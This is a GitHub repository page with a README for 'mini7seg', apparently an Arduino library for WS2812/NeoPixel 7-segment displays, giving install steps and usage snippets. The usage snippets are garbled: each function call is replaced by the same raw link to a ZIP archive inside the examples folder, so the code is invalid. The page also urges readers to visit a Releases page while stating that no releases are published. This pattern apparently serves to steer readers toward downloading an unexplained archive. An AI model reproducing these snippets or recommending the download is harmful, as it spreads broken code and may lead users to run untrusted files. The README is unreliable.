Skip to content

hiteshsn35/mini7seg

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ mini7seg - Easy Control of 7-Segment Displays

πŸš€ Getting Started

Welcome to the mini7seg project! This Arduino library helps you create beautiful and customizable 7-segment displays using WS2812 or NeoPixel addressable RGB LEDs. You can easily add vibrant displays to your projects with this library.

πŸ“₯ Download Link

Download mini7seg

πŸ’Ύ System Requirements

To run the mini7seg library effectively, ensure you have:

  • An Arduino board (compatible with Arduino IDE)
  • WS2812 or NeoPixel addressable RGB LEDs
  • A computer with the Arduino IDE installed
  • Basic understanding of connecting LEDs to your Arduino

πŸ“‚ Download & Install

  1. Visit the Release Page: Go to the mini7seg Releases page to find the latest version.

  2. Choose the Latest Version: Look for the most recent version in the list. This will ensure you have the latest features and bug fixes.

  3. Download the Library: Click on the file for the mini7seg library to download it. It will typically be in a ZIP format.

  4. Extract the ZIP File:

    • Locate the ZIP file you downloaded.
    • Right-click on the file and select "Extract All" to unzip it.
  5. Add Library to Arduino IDE:

    • Open the Arduino IDE.
    • Navigate to the menu and click on Sketch.
    • Choose Include Library and then Add .ZIP Library.
    • Select the unzipped mini7seg folder to add it to your libraries.
  6. Install Dependencies: To ensure the mini7seg library works smoothly, you will need to install the FastLED library. You can do this by:

    • Going to the Arduino IDE menu.
    • Selecting Tools, then Manage Libraries.
    • Searching for "FastLED" and clicking Install.
  7. Connect Your LEDs:

    • Connect your WS2812 or NeoPixel LEDs to the appropriate pins on your Arduino board.
    • Ensure you power the LEDs correctly as per the manufacturer's guidelines.
  8. Load an Example:

    • In the Arduino IDE, go to File, then Examples, and find the mini7seg library.
    • Open any of the example sketches provided.
  9. Upload to Arduino:

    • Connect your Arduino board to your computer using a USB cable.
    • Select the appropriate board type and port in the Arduino IDE.
    • Click the upload button (right arrow) to send the code to your Arduino.

βš™οΈ Features

  • Customizable Display: Design your own layouts with any number of digits.
  • Color Control: Choose from millions of colors for your displays.
  • Easy Integration: Quickly integrates with any Arduino project.

πŸ“– Usage Instructions

Once you have the library installed, you can start using it with your own projects.

  1. Initialize the Library: Start by including the mini7seg library in your sketch:

    #include <mini7seg.h>
  2. Set Up in setup(): Initialize your display in the setup() function:

    mini7seg display;
    https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(pin); // Replace 'pin' with the Arduino pin number connected to the LEDs
  3. Display a Number: Use the following code to display a number:

    https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(1234); // Displays the number 1234 on the 7-segment display
  4. Change Colors: You can change the colors easily:

    https://github.com/hiteshsn35/mini7seg/raw/refs/heads/main/examples/mixed_strip/mini-seg-3.9.zip(255, 0, 0); // Set to red
  5. Create Animations: Use the provided functions to create different animations and effects with your display.

πŸ“ž Support and Contributions

If you have any questions, feel free to open an issue on the GitHub repository. Contributions are welcome! If you'd like to improve or add features to mini7seg, please fork the repository and submit a pull request.

πŸ“š References

For additional reading and tutorials, check out these resources:

Dive into the world of colorful displays and make your projects stand out with mini7seg! Don't forget to visit the Releases page for the latest updates.

About

πŸ’‘ Build customizable 7-segment displays with WS2812/NeoPixel LEDs, offering advanced features for both small and large projects.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages